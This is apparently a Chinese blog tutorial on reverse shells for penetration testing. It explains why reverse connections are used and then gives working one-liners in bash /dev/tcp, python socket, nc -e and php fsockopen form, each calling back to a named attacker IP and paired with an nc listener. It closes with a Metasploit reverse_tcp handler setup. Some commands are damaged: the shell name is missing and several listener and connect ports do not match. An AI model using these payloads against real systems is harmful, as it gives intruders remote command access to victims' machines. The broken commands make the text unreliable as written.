在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。

我们先来讲一下什么是正向连接和反向连接。

正向连接:我们本机去连接目标机器,比如ssh和mstsc
反向连接:目标机器去连接我们本机
那么为什么反向连接会比较常用呢

目标机器处在局域网内,我们正向连不上他
目标机器是动态ip
目标机器存在防火墙
然后说一下我的实验环境

攻击机:Kali Linux :47.98.229.211

受害机:Centos 7 :149.129.68.117(阿里云服务器)

姿势一

也是最常见的一种方式

Kali监听

nc -lvvp 4444

centos运行

  -i >& /dev/tcp/47.98.229.211/5555 0>&1

执行命令后,成功得到反弹!
请输入图片描述

姿势二 python

攻击机Kali还是监听

nc -lvvp 5555

centos执行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.98.229.211",27409));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/ ","-i"]);'

请输入图片描述
姿势三 nc
如果目标机器上有nc并且存在-e参数,那么可以建立一个反向shell

攻击机监听

nc -lvvp 5555

目标机器执行

nc 47.98.229.211 5555 -t -e /bin/ 

这样会把目标机的/bin/ 反弹给攻击机

但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式

姿势四 php
攻击机监听

nc -lvvp 4444

要求目标机器有php然后执行

php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

其他的一些高能操作

关于PHP的payload

现在msfconsole中进行简单的配置

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.107
LHOST => 192.168.1.107

PHP

最后修改:2023 年 08 月 04 日
如果觉得我的文章对你有用,请随意赞赏